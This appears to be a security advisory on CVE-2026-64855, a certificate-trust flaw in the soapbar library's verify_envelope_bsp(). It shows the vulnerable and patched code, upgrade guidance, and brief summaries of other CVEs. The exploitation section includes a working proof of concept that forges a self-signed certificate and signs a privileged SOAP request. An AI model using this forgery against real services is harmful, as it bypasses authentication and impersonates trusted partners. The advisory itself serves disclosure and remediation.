Nov 24, 2026·10 min read·1 visit
The verify_envelope_bsp() function in soapbar versions prior to 0.13.0 validates XML signatures against the untrusted X.509 certificate embedded within the incoming SOAP message without checking certificate pinning or CA issuance. Attackers can forge arbitrary authenticated SOAP requests by signing payloads with a self-signed certificate and embedding it in the wsse:BinarySecurityToken element. Remediation requires upgrading to soapbar 0.13.0 and configuring explicit trust anchors via the trusted_certs or ca_certs parameters.
CVE-2026-64855 (GHSA-859w-52fx-hcm6) is a cryptographic signature verification and authentication bypass vulnerability in the soapbar Python library prior to version 0.13.0. In vulnerable versions, the verify_envelope_bsp() function derives its trust anchor directly from the incoming SOAP message by extracting an untrusted X.509 certificate embedded inside the wsse:BinarySecurityToken header. Because the function checks only the temporal validity of the extracted certificate without performing Certificate Authority (CA) chain validation or certificate pinning, an unauthenticated network attacker can generate a self-signed certificate, sign an arbitrary SOAP payload, and pass verification.
The soapbar package is a Python library designed for building and consuming SOAP web services, handling WSDL parsing, client requests, server dispatch, and WS-Security operations. Within its WS-Security module (soapbar.core.wssecurity), the library provides functions to sign and verify SOAP envelopes according to the WS-I Basic Security Profile (BSP) 1.1 specification. In enterprise architectures, WS-Security XML signatures (ds:Signature) authenticate message senders and guarantee payload integrity across untrusted networks.
In soapbar versions prior to 0.13.0, the verify_envelope_bsp() function contains a flaw classified under CWE-295 (Improper Certificate Validation) and CWE-347 (Improper Verification of Cryptographic Signature). When verifying a SOAP envelope formatted under the BSP 1.1 X.509 token profile, verify_envelope_bsp() extracts the X.509 certificate directly from the message's <wsse:BinarySecurityToken> element and uses it as the sole trust anchor for cryptographic signature verification.
The verification routine validates that the embedded certificate is within its validity period (not-before and not-after timestamps) and confirms that the XML signature mathematically matches the public key inside that certificate. However, the function performs no validation to ensure the embedded certificate belongs to an authorized peer or was issued by a trusted Certificate Authority (CA). It supports neither certificate pinning nor subject/issuer allowlisting.
As a result, any application or web service endpoint relying on verify_envelope_bsp() to authenticate incoming SOAP requests is vulnerable to signature forgery and authentication bypass. An unauthenticated attacker with network access to the SOAP endpoint can mint an arbitrary self-signed X.509 certificate, sign a malicious SOAP body with the corresponding private key, and embed the certificate into the request header. Note that the standard verify_envelope() function is not affected by this flaw because it requires the caller to explicitly supply a trusted x509_cert parameter outside of the message payload.
The WS-I Basic Security Profile 1.1 specification defines a standard mechanism for attaching X.509 certificates to SOAP messages via the <wsse:BinarySecurityToken> element inside the <wsse:Security> header. The <ds:Signature> block within the same header references this token via a <wsse:SecurityTokenReference> element. In a compliant and secure implementation, the receiving party extracts the certificate from the token, verifies the certificate against a pre-configured local trust store or pinned certificate list, and then verifies the digital signature over the SOAP Body and Timestamp elements.
In soapbar/core/wssecurity.py prior to version 0.13.0, the implementation of verify_envelope_bsp() conflates cryptographic self-consistency with caller authenticity. When verify_envelope_bsp() executes, it invokes extract_certificate_from_security(security) to parse and deserialize the base64-encoded DER certificate from the incoming XML tree. During this extraction step, the code checks the certificate's temporal bounds against the current UTC time.
Once extracted, verify_envelope_bsp() instantiates signxml.XMLVerifier() and passes the extracted certificate directly into the x509_cert keyword argument of verifier.verify(). Passing the x509_cert argument to signxml instructs the underlying XML signature engine to bypass internal KeyInfo trust chain resolution and treat the provided certificate object as an explicitly trusted anchor. Because verify_envelope_bsp() obtained that certificate from the untrusted message itself without prior verification, the trust guarantee of signxml is subverted.
A digital signature guarantees integrity and authenticity only relative to the public key used for verification. When the trust anchor is derived unconditionally from the attacker-controlled <wsse:BinarySecurityToken>, a passing verification proves only that the sender possessed the private key corresponding to the public key they attached to the message. It provides zero cryptographic assurance regarding the identity or authorization of the sender.
The vulnerability was addressed in commit 8daaf221c1a681e6656a580b01f89f155ad97200 (Pull Request #71). Prior to the patch, verify_envelope_bsp() accepted only envelope_bytes, expected_references, and require_signed_body, providing no parameters for callers to pass trusted certificates or CA bundles. Even the library's own example file (examples/04_ws_security_signing/sign_and_verify.py) demonstrated calling verify_envelope_bsp(signed, expected_references=2) under the assumption that the embedded token was sufficient for verification.
# Vulnerable implementation in src/soapbar/core/wssecurity.py (prior to v0.13.0)
def verify_envelope_bsp(
envelope_bytes: bytes,
expected_references: int | None = None,
require_signed_body: bool = True,
) -> bytes:
# ... [XML parsing and duplicate wsu:Id validation omitted] ...
# Extract certificate from attacker-controlled wsse:BinarySecurityToken
cert = extract_certificate_from_security(security)
# VULNERABILITY: Directly passes the unvalidated in-message certificate
# to XMLVerifier as a trusted x509_cert parameter.
verifier: Any = XMLVerifier()
verify_kwargs: dict[str, Any] = {"x509_cert": cert}
if expected_references is not None:
verify_kwargs["expect_references"] = expected_references
verified_data = verifier.verify(envelope, **verify_kwargs).signed_xmlThe patch introduces two helper functions—_load_x509() and _validate_bsp_cert_trust()—and updates verify_envelope_bsp() to fail closed by default. The updated signature adds trusted_certs, ca_certs, and verify_cert_trust: bool = True. Before XMLVerifier().verify() is invoked, verify_envelope_bsp() calls _validate_bsp_cert_trust(cert, trusted_certs, ca_certs) to enforce explicit trust evaluation.
# Patched implementation in src/soapbar/core/wssecurity.py (v0.13.0)
def _validate_bsp_cert_trust(
cert: Any, trusted_certs: Any, ca_certs: Any
) -> None:
from cryptography.hazmat.primitives.serialization import Encoding
# Fail closed if the caller does not configure a trust anchor
if trusted_certs is None and ca_certs is None:
raise XmlSecurityError(
"verify_envelope_bsp: no trust anchor configured. The certificate "
"carried in the message cannot be trusted on its own..."
)
cert_der = cert.public_bytes(Encoding.DER)
# 1. Certificate Pinning: exact byte-for-byte DER comparison
for tc in trusted_certs or ():
if _load_x509(tc).public_bytes(Encoding.DER) == cert_der:
return
# 2. CA Issuance: verify issuer Distinguished Name, validity, and signature
for ca in ca_certs or ():
try:
cert.verify_directly_issued_by(_load_x509(ca))
return
except Exception:
continue
raise XmlSecurityError(
"BinarySecurityToken certificate is not trusted: it matches no pinned "
"certificate and is issued by no configured CA."
)> [!NOTE]
> In examining fix completeness, engineers integrating soapbar should note two specific characteristics of _validate_bsp_cert_trust(). First, cert.verify_directly_issued_by() from Python's cryptography library verifies that the leaf certificate's issuer matches the CA subject and validates the cryptographic signature, but it checks only single-hop direct issuance (it does not build multi-tier intermediate PKI chains or check X.509 BasicConstraints ca=True extensions unless the caller has already vetted the certificates passed into ca_certs). Second, verify_directly_issued_by() does not perform Certificate Revocation List (CRL) or Online Certificate Status Protocol (OCSP) checks. Callers using ca_certs must ensure only valid, actual CA certificates are supplied in ca_certs.
Exploiting CVE-2026-64855 requires no prior knowledge of the legitimate signer's private key or certificate infrastructure. The sole prerequisite is that the target service authenticates incoming SOAP requests using verify_envelope_bsp() on a soapbar version prior to 0.13.0 without performing additional external inspection of the <wsse:BinarySecurityToken> contents after verify_envelope_bsp() returns.
To execute the attack, an adversary generates a fresh 2048-bit RSA private key and constructs a self-signed X.509 certificate using standard cryptographic libraries. The attacker can populate the certificate's Subject Distinguished Name (CN, O, OU) with arbitrary strings mimicking a trusted partner or internal microservice, provided the not_valid_before and not_valid_after timestamps bracket the current time.
The attacker then crafts a SOAP envelope containing the target XML action inside <soap:Body> and passes the envelope, generated private key, and self-signed certificate to sign_envelope_bsp(). This function attaches a <wsse:Security> header containing a <wsu:Timestamp>, embeds the attacker's DER-encoded certificate inside <wsse:BinarySecurityToken>, and computes a valid XML signature over the SOAP Body and Timestamp.
# Proof-of-Concept demonstrating signature forgery against soapbar < 0.13.0
import datetime
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from soapbar.core.wssecurity import sign_envelope_bsp, verify_envelope_bsp
# 1. Attacker generates an Ephemeral RSA Key and Self-Signed Certificate
attacker_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COMMON_NAME, "trusted-partner.example.com")
])
now = datetime.datetime.now(datetime.timezone.utc)
attacker_cert = (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(attacker_key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now - datetime.timedelta(days=1))
.not_valid_after(now + datetime.timedelta(days=1))
.sign(attacker_key, hashes.SHA256())
)
# 2. Attacker crafts and signs an arbitrary SOAP payload
forged_envelope = (
b'<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">'
b"<soap:Body><ExecutePrivilegedAction><Role>admin</Role></ExecutePrivilegedAction></soap:Body>"
b"</soap:Envelope>"
)
signed_forged_payload = sign_envelope_bsp(forged_envelope, attacker_key, attacker_cert)
# 3. On soapbar < 0.13.0, verify_envelope_bsp() accepts the forged envelope.
# On soapbar >= 0.13.0, verifying against the legitimate certificate raises XmlSecurityError.
verified_bytes = verify_envelope_bsp(signed_forged_payload)When the target service processes signed_forged_payload on a vulnerable version of soapbar, verify_envelope_bsp() completes without error and returns the verified XML subtree. The application treats the forged payload as an authenticated message and executes the requested SOAP operation.
CVE-2026-64855 is assigned a CVSS v3.1 base score of 8.2 (HIGH) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N. The Attack Vector is Network (AV:N) and Attack Complexity is Low (AC:L), because SOAP interfaces are exposed over HTTP/HTTPS and forging a self-signed WS-Security envelope is deterministic and requires no timing windows or environmental reconnaissance. No privileges (PR:N) or user interaction (UI:N) are required.
The primary security impact is on Integrity (I:H). In B2B, financial, healthcare, and enterprise integration environments where WS-Security BSP 1.1 signatures serve as the primary message-level authentication control, an attacker can completely bypass authentication and impersonate any client or peer service. This enables unauthorized state-changing transactions, data modification, and privilege escalation within the target SOAP application.
Confidentiality impact is rated Low (C:L). While the vulnerability does not directly decrypt encrypted payloads (such as those protected by encrypt_body()), bypassing signature verification allows an attacker to invoke authenticated read operations or query endpoints that return sensitive application data in the SOAP response. Availability is unaffected (A:N) as the flaw does not cause denial-of-service conditions.
According to FIRST EPSS metrics, CVE-2026-64855 currently holds an EPSS score of 0.00191 (0.191%, 8.59th percentile) and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Because soapbar does not automatically wire verify_envelope_bsp() into SoapApplication.handle_request(), only applications that explicitly invoke verify_envelope_bsp() in custom middleware or request handlers are exposed.
To remediate CVE-2026-64855, upgrade the soapbar package to version 0.13.0 or later. Because version 0.13.0 introduces a breaking security change that makes verify_envelope_bsp() fail closed when no trust anchor is provided, upgrading the library without updating application call sites will cause verify_envelope_bsp() to raise XmlSecurityError on every call.
Developers must update all invocations of verify_envelope_bsp() to supply an explicit trust anchor using either certificate pinning (trusted_certs) or CA validation (ca_certs). Both parameters accept an iterable of cryptography.x509.Certificate objects, PEM-encoded byte strings, or DER-encoded byte strings.
from soapbar.core.wssecurity import verify_envelope_bsp
# Option 1: Pin specific expected client/partner certificates (Recommended)
verified_xml = verify_envelope_bsp(
envelope_bytes,
expected_references=2,
require_signed_body=True,
trusted_certs=[partner_x509_cert_pem],
)
# Option 2: Validate direct issuance against trusted CA certificates
verified_xml = verify_envelope_bsp(
envelope_bytes,
expected_references=2,
require_signed_body=True,
ca_certs=[internal_issuing_ca_pem],
)If an immediate upgrade to 0.13.0 is not possible, developers can implement a temporary workaround in versions <= 0.12.1 by either migrating to verify_envelope(envelope_bytes, x509_cert=pinned_cert) or manually extracting the certificate from the <wsse:Security> header using extract_certificate_from_security() and comparing its DER representation (cert.public_bytes(Encoding.DER)) against an allowlist of known certificates prior to calling verify_envelope_bsp(). Do not set verify_cert_trust=False in production environments.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
soapbar hitoshyamamoto | < 0.13.0 (0.5.0 through 0.12.1) | 0.13.0 |
| Attribute | Detail |
|---|---|
| CVE / Advisory ID | CVE-2026-64855 / GHSA-859w-52fx-hcm6 |
| Weakness Class | CWE-295 (Improper Certificate Validation) / CWE-347 (Improper Verification of Cryptographic Signature) |
| CVSS v3.1 Score | 8.2 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N) |
| EPSS Score | 0.191% (8.59th Percentile) |
| Affected Component | soapbar (< 0.13.0) — soapbar.core.wssecurity.verify_envelope_bsp() |
| Security Impact | Unauthenticated XML Signature Forgery & Authentication Bypass |
| Exploit & KEV Status | PoC Available (Regression Tests) / Not Listed in CISA KEV |
The product does not validate, or incorrectly validates, a certificate, allowing an attacker to spoof a trusted entity by supplying an untrusted or self-signed certificate.
A denial-of-service vulnerability exists in the Go library github.com/insomniacslk/dhcp within the dhcpv4/nclient4 subpackage. In affected versions, the raw packet parsing function BroadcastRawUDPConn.ReadFrom subtracts the fixed 8-byte UDP header length from the IPv4 payload length declared in the packet header without first verifying that the declared payload length is at least 8 bytes. An unauthenticated attacker on an adjacent local network segment can broadcast or unicast a malformed IPv4 packet with a declared payload length between 0 and 7 bytes, causing a signed integer underflow that passes a negative slice bound into buf.Consume and triggers an unhandled Go runtime panic.
CVE-2026-63305 (GHSA-g9x9-q7qj-6mv5) is an operating system command injection vulnerability affecting WWBN AVideo (formerly YouPHPTube) versions up to and including 29.0. The defect resides in the standalone FFmpeg execution handler at plugin/API/standAlone/ffmpeg.json.php. When assembling asynchronous post-processing commands, the script concatenates the notifyCode and callback properties from a decrypted payload directly into a shell command string without sanitization. An attacker capable of providing or forging a valid encrypted execution payload can inject shell metacharacters to achieve remote code execution under the privileges of the web server user.
The cakephp/twig-view plugin integrates the Twig templating engine into the CakePHP framework. Prior to versions 1.3.3 and 2.1.2, the UtilsExtension class exposes PHP's native unserialize() function as a Twig filter without restricting allowed classes. When untrusted data is passed into the unserialize filter within a template, an attacker can trigger PHP Object Injection and execute Property-Oriented Programming (POP) gadget chains, leading to arbitrary code execution or data manipulation.
CVE-2026-63402 is a prototype-chain traversal and shared built-in object corruption vulnerability in the i18next internationalization framework for JavaScript prior to version 26.3.4. The flaw resides in the deepExtend utility function within src/utils.js, which uses the JavaScript 'in' operator to verify property existence on target objects. When an application passes untrusted resource bundles to i18next.addResourceBundle() with both the deep and overwrite parameters set to true, an attacker can traverse into inherited methods on Object.prototype and overwrite properties on shared built-in function objects, causing process-wide denial of service.
CVE-2026-58262 (tracked internally as KLR-04 and via GitHub Security Advisory GHSA-f9h7-4mmq-vgcq) is a cryptographic verification and consensus quorum bypass vulnerability in Klever-Go (`klever-io/klever-go`), the Go implementation of the Klever blockchain protocol. Prior to version 1.7.20, the block header signature verification logic (`HeaderSigVerifier.verifyConsensusSize`) counts all set bits across the entire `PubKeysBitmap` byte slice toward the required two-thirds validator quorum without masking or validating unused trailing padding bits in the final byte. Because the underlying Boneh-Lynn-Shacham (BLS) multi-signature verification function (`blsMultiSigner.Verify`) iterates strictly over the indices of configured validator public keys, it ignores any bits set at indices beyond the active consensus group size. When the consensus group size is not an exact multiple of 8, a compromised or malicious block producer can set these unused trailing padding bits to artificially inflate the apparent signer count by up to 7 signatures, enabling blocks with fewer genuine validator signatures than required by the protocol to pass consensus validation.
CVE-2026-77423 is a Regular Expression Denial of Service (ReDoS) vulnerability in the built-in less viewer of the JLine Java library (versions 3.0.0 prior to 3.30.15, and 4.0.0 prior to 4.3.1). The org.jline.builtins.Less class passes user-supplied search and display-filter patterns directly to Java's standard backtracking regular expression engine without complexity validation or execution timeouts. An attacker with access to an interactive JLine session can submit patterns containing nested quantifiers, causing catastrophic backtracking that consumes 100% of a CPU core and blocks the session thread indefinitely. In network-facing deployments such as SSH or Telnet administration consoles, repeated exploitation across concurrent sessions can exhaust bounded worker thread pools and result in a complete denial of service.